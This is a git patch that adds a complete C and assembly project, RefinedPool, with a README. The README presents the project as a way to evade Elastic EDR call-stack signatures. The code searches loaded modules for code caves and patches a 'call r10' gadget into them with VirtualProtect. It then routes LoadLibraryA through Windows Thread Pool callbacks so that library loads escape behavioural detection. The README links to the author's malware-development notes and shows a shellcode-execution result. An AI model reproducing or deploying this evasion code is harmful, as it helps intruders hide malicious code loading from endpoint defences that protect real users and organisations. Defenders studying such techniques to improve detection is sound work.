From fb9f3055655422533b1660ce1fee6149caa7d54f Mon Sep 17 00:00:00 2001 From: Vithor <124220594+Vith0r@users.noreply.github.com> Date: Fri, 20 Feb 2026 02:50:23 -0300 Subject: [PATCH] Add files via upload --- README.md | 102 +++++++++++ RefinedPool.sln | 31 ++++ RefinedPool/RefinedPool.vcxproj | 149 ++++++++++++++++ RefinedPool/RefinedPool.vcxproj.filters | 41 +++++ RefinedPool/RefinedPool.vcxproj.user | 4 + RefinedPool/gadget.c | 226 ++++++++++++++++++++++++ RefinedPool/gadget.h | 150 ++++++++++++++++ RefinedPool/loadlib.c | 66 +++++++ RefinedPool/loadlib.h | 14 ++ RefinedPool/main.c | 25 +++ RefinedPool/workcallback.asm | 23 +++ 11 files changed, 831 insertions(+) create mode 100644 README.md create mode 100644 RefinedPool.sln create mode 100644 RefinedPool/RefinedPool.vcxproj create mode 100644 RefinedPool/RefinedPool.vcxproj.filters create mode 100644 RefinedPool/RefinedPool.vcxproj.user create mode 100644 RefinedPool/gadget.c create mode 100644 RefinedPool/gadget.h create mode 100644 RefinedPool/loadlib.c create mode 100644 RefinedPool/loadlib.h create mode 100644 RefinedPool/main.c create mode 100644 RefinedPool/workcallback.asm diff --git a/README.md b/README.md new file mode 100644 index 0000000..878f639 --- /dev/null +++ b/README.md @@ -0,0 +1,102 @@ +# RefinedPool + +**Evading Elastic EDR call stack signatures through dynamic code cave injection** + +RefinedPool is an enhancement of [LibTPLoadLib](https://github.com/AlmondOffSec/LibTPLoadLib) by [@AlmondOffSec](https://github.com/AlmondOffSec), which uses call gadgets to break the [call stack signature used by Elastic EDR](https://github.com/elastic/protections-artifacts/blob/6e9ee22c5a7f57b85b0cb063adba9a3c72eca348/behavior/rules/windows/defense_evasion_library_loaded_via_a_callback_function.toml) on proxying module loads via Windows Thread Pool API. + +### Original Technique + +The original **LibTPLoadLib** technique (detailed in [this blogpost](https://offsec.almond.consulting/evading-elastic-callstack-signatures.html)) works by: +- Using Thread Pool callbacks to proxy `LoadLibraryA` calls +- Leveraging a call gadget (`call r10; add rsp, 0x28; ret`) to remove the callback function from the call stack + +![diagram](https://offsec.almond.consulting/images/evading-elastic-callstack-signatures/callback2_0_diagram.png) + +- This breaks Elastic's detection pattern that looks for suspicious call stacks when loading libraries + +**The original approach required:** +- Loading a specific hardcoded DLL (`dsdmo_10.0.26100.1882.dll`) containing the gadget +- The DLL had to be manually placed at `C:\dsdmo_10.0.26100.1882.dll` +- This creates a circular dependency: loading a suspicious DLL to evade detection of loading DLLs + +## "Innovation" + +The need for external hardcoded DLLs was eliminated by implementing **dynamic code cave injection**. + +Instead of searching for pre-existing gadgets in hardcoded DLLs, RefinedPool: + +1. **Enumerates loaded modules** in the current process +2. **Locates code caves** within executable sections, specifically: + - Searches inside existing function boundaries using the Exception Directory (`.pdata` / `RUNTIME_FUNCTION` table) + - Looks for continuous sequences of null bytes or INT3 instructions (`0xCC`) + - Ensures the cave is at least 10 bytes to fit the gadget +3. **Writes the gadget dynamically** into the discovered code cave: + ```asm + 41 FF D2 ; call r10 + 33 C0 ; xor eax, eax + 48 83 C4 28 ; add rsp, 0x28 + C3 ; ret + ``` +4. **Uses the injected gadget** for the Thread Pool callback, just like the original technique + +### Advantages + +- **No external DLL dependencies**: Works with modules already loaded in memory +- **Stealthier**: No suspicious DLL load operations that could trigger alerts +- **More practical**: Doesn't require specific Windows versions or pre-staged files +- **Dynamic adaptation**: Searches across multiple candidate modules automatically +- **Function-aware**: Preferentially places gadgets within legitimate function boundaries for "better stealth" + +## Call Stack Result + +![result](https://i.imgur.com/sluvimD.png) + +![result_shellcode_execution](https://i.imgur.com/OPocl8J.png) + +--- + +### Module Exclusion List + +To avoid critical system modules, RefinedPool excludes: +- `ntdll.dll` +- `kernel32.dll` +- `kernelbase.dll` + +## Methods + +The methods can be easily alternated in "loadlib.c". + +1. **WriteGadget** (primary method): + - Combines code cave detection with dynamic gadget injection + - Uses `FindCodeCaveInFunction` to locate suitable memory space + - Writes the 10-byte gadget sequence directly into discovered code caves + - Handles memory protection changes (VirtualProtect) automatically + +2. **FindCallGadget** (original method): + - Searches for pre-existing gadget patterns in loaded modules + - Scans candidate DLLs for the byte sequence: `41 FF D2 ... 48 83 C4 28 C3` + - Kept for compatibility and fallback scenarios + - Can be used as alternative when code cave injection is not desired + +## Credits & References + +### Original Work +- **LibTPLoadLib** by [@AlmondOffSec](https://github.com/AlmondOffSec) + - Repository: https://github.com/AlmondOffSec/LibTPLoadLib + - Blog: https://offsec.almond.consulting/evading-elastic-callstack-signatures.html + - License: BSD 3-Clause License (see [tploadlib.c](https://github.com/AlmondOffSec/LibTPLoadLib/blob/main/src/tploadlib.c)) + +### Inspiration & Research +- [Elastic EDR detection rule](https://github.com/elastic/protections-artifacts/blob/6e9ee22c5a7f57b85b0cb063adba9a3c72eca348/behavior/rules/windows/defense_evasion_library_loaded_via_a_callback_function.toml) - The signature this technique bypasses +- [@rasta-mouse's LibTP](https://github.com/rasta-mouse/LibTP) - Format inspiration for the original project +- [Crystal Palace](https://tradecraftgarden.org/crystalpalace.html) - Shared library framework used in the original +- [Carregamento por Proxy](https://vith0r.gitbook.io/public/malware-dev/posts/stack/carregamento-por-proxy) - My research on proxy loading techniques +- [Return Address Spoofing](https://vith0r.gitbook.io/public/malware-dev/posts/stack/return-address-spoofing) - My research on call stack manipulation + +## License + +This project respects the original BSD 3-Clause License from LibTPLoadLib. See the copyright notice in `src_original/tploadlib.c` for the original license terms. + +## Acknowledgments + +Special thanks to [@AlmondOffSec](https://github.com/AlmondOffSec) / [@SAERXCIT](https://github.com/SAERXCIT) for the original research and implementation that made this enhancement possible. diff --git a/RefinedPool.sln b/RefinedPool.sln new file mode 100644 index 0000000..75f5945 --- /dev/null +++ b/RefinedPool.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36310.24 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RefinedPool", "RefinedPool\RefinedPool.vcxproj", "{3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x64.ActiveCfg = Debug|x64 + {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x64.Build.0 = Debug|x64 + {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x86.ActiveCfg = Debug|Win32 + {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Debug|x86.Build.0 = Debug|Win32 + {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x64.ActiveCfg = Release|x64 + {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x64.Build.0 = Release|x64 + {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x86.ActiveCfg = Release|Win32 + {3CB63983-93E8-4ACA-82D1-EC1D1EDC32E5}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {47C08E14-691A-4F6D-ADF0-BB00826E3884} + EndGlobalSection +EndGlobal diff --git a/RefinedPool/RefinedPool.vcxproj b/RefinedPool/RefinedPool.vcxproj new file mode 100644 index 0000000..f1aae5b --- /dev/null +++ b/RefinedPool/RefinedPool.vcxproj @@ -0,0 +1,149 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {3cb63983-93e8-4aca-82d1-ec1d1edc32e5} + RefinedPool + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + DO_GADGET=1 +;WIN32; +_DEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + DO_GADGET=1 +;WIN32; +_DEBUG;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + + + + + + + + + + false + Document + + + + + + + \ No newline at end of file diff --git a/RefinedPool/RefinedPool.vcxproj.filters b/RefinedPool/RefinedPool.vcxproj.filters new file mode 100644 index 0000000..b9bbd09 --- /dev/null +++ b/RefinedPool/RefinedPool.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Arquivos de Cabeçalho + + + Arquivos de Cabeçalho + + + + + Arquivos de Origem + + + Arquivos de Origem + + + Arquivos de Origem + + + + + Arquivos de Origem + + + \ No newline at end of file diff --git a/RefinedPool/RefinedPool.vcxproj.user b/RefinedPool/RefinedPool.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/RefinedPool/RefinedPool.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/RefinedPool/gadget.c b/RefinedPool/gadget.c new file mode 100644 index 0000000..e4bc039 --- /dev/null +++ b/RefinedPool/gadget.c @@ -0,0 +1,226 @@ +#include "gadget.h" + +#pragma comment(lib, "kernel32.lib") + +PVOID FindGadgetInModule(HMODULE hModule) { + if (!hModule) return NULL; + + PBYTE base = (PBYTE)hModule; + + IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL; + + IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL; + + DWORD imageSize = nt->OptionalHeader.SizeOfImage; + + for (DWORD i = 0; (i + 3 + GADGET_MAX_GAP + 5) < imageSize; i++) { + + // 41 FF D2 = call r10 + if (base[i] != 0x41) continue; + if (base[i + 1] != 0xFF) continue; + if (base[i + 2] != 0xD2) continue; + + for (int gap = 0; gap < GADGET_MAX_GAP; gap++) { + DWORD j = i + 3 + gap; + if ((j + 4) >= imageSize) break; + + // 48 83 C4 28 C3 = add rsp,28h / ret + if (base[j] == 0x48 && + base[j + 1] == 0x83 && + base[j + 2] == 0xC4 && + base[j + 3] == 0x28 && + base[j + 4] == 0xC3) + { + return (PVOID)&base[i]; + } + } + } + + return NULL; +} + +PVOID FindCallGadget(HMODULE* phGadgetModule) { + if (phGadgetModule) *phGadgetModule = NULL; + + printf("[*] Buscando gadget em DLLs candidatas...\n"); + + for (int i = 0; GADGET_CANDIDATE_DLLS[i] != NULL; i++) { + + HMODULE hMod = GetModuleHandleA(GADGET_CANDIDATE_DLLS[i]); + + if (!hMod) { + printf("tentando carregar '%s' para buscar gadget...\n", GADGET_CANDIDATE_DLLS[i]); + hMod = LoadLibraryA(GADGET_CANDIDATE_DLLS[i]); + getchar(); + } + else { + printf("'%s' ja carregada, buscando gadget...\n", GADGET_CANDIDATE_DLLS[i]); + } + + if (!hMod) continue; + + PVOID gadget = FindGadgetInModule(hMod); + if (gadget) { + if (phGadgetModule) *phGadgetModule = hMod; + + #ifdef _DEBUG + printf("[+] Gadget encontrado em '%s' %p\n", GADGET_CANDIDATE_DLLS[i], gadget); + #endif + + return gadget; + } + } + + return NULL; +} + +PVOID FindCodeCave(void) { + HMODULE hSelf = GetModuleHandle(NULL); + + HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, + GetCurrentProcessId()); + if (hSnap == INVALID_HANDLE_VALUE) { + fprintf(stderr, "[!] CreateToolhelp32Snapshot falhou: %lu\n", GetLastError()); + return NULL; + } + + MODULEENTRY32W me = { .dwSize = sizeof(MODULEENTRY32W) }; + PVOID result = NULL; + + if (!Module32FirstW(hSnap, &me)) goto cleanup; + + do { + + if (me.hModule == hSelf) { + continue; + } + + char nameA[MAX_PATH]; + WideCharToMultiByte(CP_UTF8, 0, me.szModule, -1, nameA, MAX_PATH, NULL, NULL); + + char* name = strrchr(nameA, '\\'); + name = name ? name + 1 : nameA; + + if (IsExcluded(name)) { + printf("[~] Pulando modulo excluido: %s\n", name); + continue; + } + + printf("[*] Verificando: %s (base: %p)\n", name, (void*)me.hModule); + + PVOID cave = FindCodeCaveInModule(me.hModule); + if (cave) { + printf("[+] Code cave encontrado em: %s %p\n", name, cave); + result = cave; + break; + } + + } while (Module32NextW(hSnap, &me)); + +cleanup: + CloseHandle(hSnap); + return result; +} + +PVOID WriteGadget(HMODULE* phModule) { + printf("[*] Buscando code cave de %d bytes dentro de funcao...\n", CAVE_SIZE); + + // Percorre modulos carregados buscando um cave dentro de uma RUNTIME_FUNCTION + HMODULE hSelf = GetModuleHandle(NULL); + HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, + GetCurrentProcessId()); + if (hSnap == INVALID_HANDLE_VALUE) { + fprintf(stderr, "[!] CreateToolhelp32Snapshot falhou: %lu\n", GetLastError()); + return NULL; + } + + MODULEENTRY32W me = { .dwSize = sizeof(MODULEENTRY32W) }; + PVOID cave = NULL; + HMODULE hFoundMod = NULL; + + if (!Module32FirstW(hSnap, &me)) { CloseHandle(hSnap); return NULL; } + + do { + if (me.hModule == hSelf) continue; + + char nameA[MAX_PATH]; + WideCharToMultiByte(CP_UTF8, 0, me.szModule, -1, nameA, MAX_PATH, NULL, NULL); + char* name = strrchr(nameA, '\\'); + name = name ? name + 1 : nameA; + + if (IsExcluded(name)) continue; + + printf("[*] Verificando funcoes em: %s\n", name); + + cave = FindCodeCaveInFunction(me.hModule); + if (cave) { + hFoundMod = me.hModule; + printf("[+] Code cave encontrado em: %s %p\n", name, cave); + break; + } + } while (Module32NextW(hSnap, &me)); + + CloseHandle(hSnap); + + if (!cave) { + printf("[-] Nenhum code cave em funcao existente encontrado.\n"); + return NULL; + } + + if (phModule) *phModule = hFoundMod; + + DWORD oldProtect; + if (!VirtualProtect(cave, CAVE_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect)) { + fprintf(stderr, "[!] VirtualProtect falhou: %lu\n", GetLastError()); + return NULL; + } + + memcpy(cave, Gadget, CAVE_SIZE); + + VirtualProtect(cave, CAVE_SIZE, oldProtect, &oldProtect); + + printf("[+] Gadget escrito em: %p\n", cave); + return cave; +} + +/* +PVOID WriteGadget(HMODULE* phModule) { + PVOID result = NULL; + printf("[*] Buscando code cave de %d bytes...\n", CAVE_SIZE); + + PVOID cave = FindCodeCave(); + + if (!cave) { + printf("[-] Nenhum code cave encontrado.\n"); + return NULL; + } + + printf("[+] Code cave encontrado em: %p\n", cave); + + if (phModule) { + MEMORY_BASIC_INFORMATION mbi; + if (VirtualQuery(cave, &mbi, sizeof(mbi))) { + *phModule = (HMODULE)mbi.AllocationBase; + } + else { + *phModule = NULL; + } + } + + DWORD oldProtect; + if (!VirtualProtect(cave, CAVE_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect)) { + fprintf(stderr, "[!] VirtualProtect falhou: %lu\n", GetLastError()); + return NULL; + } + + memcpy(cave, Gadget, CAVE_SIZE); + + VirtualProtect(cave, CAVE_SIZE, oldProtect, &oldProtect); + + printf("[+] Gadget escrito em %p\n", cave); + + return cave; +} +*/ \ No newline at end of file diff --git a/RefinedPool/gadget.h b/RefinedPool/gadget.h new file mode 100644 index 0000000..97e6e64 --- /dev/null +++ b/RefinedPool/gadget.h @@ -0,0 +1,150 @@ +#pragma once +#include +#include +#include +#include +#include + +#define GADGET_MAX_GAP 20 +#define CAVE_SIZE 10 + +static const char* GADGET_CANDIDATE_DLLS[] = { + "C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\nv_dispi.inf_amd64_20ae8f14a487d5db\\nvwgf2umx.dll", + "nvwgf2umx.dll", + NULL +}; + +static const BYTE Gadget[CAVE_SIZE] = { + 0x41, 0xFF, 0xD2, // call r10 + 0x33, 0xC0, // xor eax, eax + 0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28 + 0xC3 // ret +}; + +static const char* EXCLUDED_MODULES[] = { + "ntdll.dll", + "kernel32.dll", + "kernelbase.dll", + "user32.dll", + "windhawk.dll", + "win32u.dll", + NULL +}; + +static BOOL IsExcluded(const char* modName) { + char lower[MAX_PATH]; + int i = 0; + while (modName[i] && i < MAX_PATH - 1) { + lower[i] = (char)tolower((unsigned char)modName[i]); + i++; + } + lower[i] = '\0'; + + for (int j = 0; EXCLUDED_MODULES[j] != NULL; j++) { + if (strcmp(lower, EXCLUDED_MODULES[j]) == 0) + return TRUE; + } + return FALSE; +} + +static PVOID FindCodeCaveInModule(HMODULE hModule) { + if (!hModule) return NULL; + + PBYTE base = (PBYTE)hModule; + + IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL; + + IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL; + + WORD numSections = nt->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt); + + for (WORD s = 0; s < numSections; s++, section++) { + + if (!(section->Characteristics & IMAGE_SCN_MEM_EXECUTE)) + continue; + + DWORD rva = section->VirtualAddress; + DWORD size = section->Misc.VirtualSize; + + if (size < CAVE_SIZE) continue; + + PBYTE start = base + rva; + PBYTE end = start + size - CAVE_SIZE; + + for (PBYTE p = start; p < end; p++) { + + if (*p != 0x00 && *p != 0xCC) + continue; + + BYTE fill = *p; + BOOL ok = TRUE; + + for (int i = 1; i < CAVE_SIZE; i++) { + if (p[i] != fill) { ok = FALSE; break; } + } + + if (ok) return (PVOID)p; + } + } + + return NULL; +} + +static PVOID FindCodeCaveInFunction(HMODULE hModule) { + if (!hModule) return NULL; + + PBYTE base = (PBYTE)hModule; + + IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base; + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL; + + IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL; + + // localiza a tabela .pdata (exception directory) + DWORD excRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress; + DWORD excSize = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size; + + if (!excRva || !excSize) return NULL; + + RUNTIME_FUNCTION* rtTable = (RUNTIME_FUNCTION*)(base + excRva); + DWORD count = excSize / sizeof(RUNTIME_FUNCTION); + + for (DWORD f = 0; f < count; f++) { + DWORD funcBegin = rtTable[f].BeginAddress; + DWORD funcEnd = rtTable[f].EndAddress; + DWORD funcSize = funcEnd - funcBegin; + + if (funcSize < CAVE_SIZE + 16) continue; + + PBYTE start = base + funcEnd - CAVE_SIZE; + PBYTE end = base + funcBegin + 16; // nao sobrescrever o inicio + + for (PBYTE p = start; p > end; p--) { + if (*p != 0x00 && *p != 0xCC) continue; + + BYTE fill = *p; + BOOL ok = TRUE; + + for (int i = 1; i < CAVE_SIZE; i++) { + if (p[i] != fill) { ok = FALSE; break; } + } + + if (ok) { + printf("[+] Code cave em funcao existente: RVA 0x%lX-0x%lX, cave: %p\n", + funcBegin, funcEnd, (void*)p); + return (PVOID)p; + } + } + } + + return NULL; +} + +PVOID FindGadgetInModule(HMODULE hModule); +PVOID FindCallGadget(HMODULE* phGadgetModule); +PVOID FindCodeCave(void); +PVOID WriteGadget(HMODULE* phModule); \ No newline at end of file diff --git a/RefinedPool/loadlib.c b/RefinedPool/loadlib.c new file mode 100644 index 0000000..ab5fcfe --- /dev/null +++ b/RefinedPool/loadlib.c @@ -0,0 +1,66 @@ +#include "loadlib.h" +#include "gadget.h" + +#pragma comment(lib, "kernel32.lib") +#pragma comment(lib, "ntdll.lib") + +NTSYSAPI NTSTATUS NTAPI TpAllocWork(PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON); +NTSYSAPI VOID NTAPI TpPostWork(PTP_WORK); +NTSYSAPI VOID NTAPI TpWaitForWork(PTP_WORK, BOOL); +NTSYSAPI VOID NTAPI TpReleaseWork(PTP_WORK); + +typedef struct _TP_LOADLIB_PARAMS { + LPSTR LibraryName; // rcx + PVOID pLoadLibraryAddress; // r10 + PVOID pGadgetAddress; // r11 +} TP_LOADLIB_PARAMS; + +extern void WorkCallback_Gadget(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK); +extern void WorkCallback_Direct(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK); + +HMODULE LoadLib(LPCSTR libName) { + + PTP_WORK workItem = NULL; + TP_LOADLIB_PARAMS params = { 0 }; + PTP_WORK_CALLBACK callback = NULL; + + params.LibraryName = (LPSTR)libName; + params.pLoadLibraryAddress = (PVOID)LoadLibraryA; + +#if DO_GADGET == 1 + + // ================================================================== // + // Entao, quando o Thread Pool executar o WorkCallback e ele fizer // + // "jmp r11" -> gadget -> "call r10" -> LoadLibraryA, // + // o call stack mostrara: // + // kernelbase.LoadLibraryA+8D // + // nvwgf2umx.dll+ // + // ntdll.TppWorkpExecuteCallback // + // ... // + // ================================================================== // + + HMODULE hGadgetMod = NULL; + //params.pGadgetAddress = FindCallGadget(&hGadgetMod); + params.pGadgetAddress = WriteGadget(&hGadgetMod); + + printf("[*] Gadget address: %p (module: %p)\n", params.pGadgetAddress, hGadgetMod); + + if (!params.pGadgetAddress) { + OutputDebugStringA("[LoadLib] ERRO: nenhum gadget encontrado.\n"); + return NULL; + } + + callback = (PTP_WORK_CALLBACK)WorkCallback_Gadget; + +#else + /* sem gadget */ + callback = (PTP_WORK_CALLBACK)WorkCallback_Direct; +#endif + + TpAllocWork(&workItem, callback, ¶ms, NULL); + TpPostWork(workItem); + TpWaitForWork(workItem, FALSE); + TpReleaseWork(workItem); + + return GetModuleHandleA(libName); +} \ No newline at end of file diff --git a/RefinedPool/loadlib.h b/RefinedPool/loadlib.h new file mode 100644 index 0000000..ce767ce --- /dev/null +++ b/RefinedPool/loadlib.h @@ -0,0 +1,14 @@ +/* + * RefinedPool - Enhanced LibTPLoadLib with dynamic code cave injection + * + * Based on LibTPLoadLib by @AlmondOffSec (BSD 3-Clause License) + * Enhancement by Vith0r - 2026 + * + * This project respects the original BSD 3-Clause License. + * See: https://github.com/AlmondOffSec/LibTPLoadLib/blob/main/src/tploadlib.c + */ + +#pragma once +#include + +HMODULE LoadLib(LPCSTR libName); \ No newline at end of file diff --git a/RefinedPool/main.c b/RefinedPool/main.c new file mode 100644 index 0000000..161011e --- /dev/null +++ b/RefinedPool/main.c @@ -0,0 +1,25 @@ +#include +#include "loadlib.h" + +#pragma comment(lib, "psapi.lib") + +int main(void) { + + const char* libName = "wininet"; + + printf("\n[*] Carregando '%s' ...", libName); + getchar(); + + HMODULE hMod = LoadLib(libName); + + if (hMod) { + printf("[+] '%s' carregada com sucesso: 0x%p\n", libName, (void*)hMod); + } + else { + printf("[-] Falha ao carregar '%s'\n", libName); + } + + printf("\nPressione Enter para sair...\n"); + getchar(); + return 0; +} \ No newline at end of file diff --git a/RefinedPool/workcallback.asm b/RefinedPool/workcallback.asm new file mode 100644 index 0000000..e0ac9f7 --- /dev/null +++ b/RefinedPool/workcallback.asm @@ -0,0 +1,23 @@ +.code + +; arg1 = RCX arg2 = RDX arg3 = R8 arg4 = R9 + +WorkCallback_Gadget PROC + sub rsp, 28h ; Compensa o "add rsp,28h" do epilogue do gadget + mov r10, QWORD PTR [rdx + 08h] ; r10 = pLoadLibraryAddress (chamado pelo gadget via "call r10") + mov r11, QWORD PTR [rdx + 10h] ; r11 = pGadgetAddress + mov rcx, QWORD PTR [rdx] ; rcx = LibraryName (1o argumento de LoadLibraryA) + xor rdx, rdx ; rdx = NULL (2o arg - hFile para LoadLibraryExA) + xor r8, r8 ; r8 = NULL (3o arg - dwFlags para LoadLibraryExA) + jmp r11 +WorkCallback_Gadget ENDP + +WorkCallback_Direct PROC + mov rcx, QWORD PTR [rdx] ; LibraryName + mov rax, QWORD PTR [rdx + 08h] ; pLoadLibraryAddress + xor rdx, rdx ; NULL + xor r8, r8 ; NULL + jmp rax +WorkCallback_Direct ENDP + +END \ No newline at end of file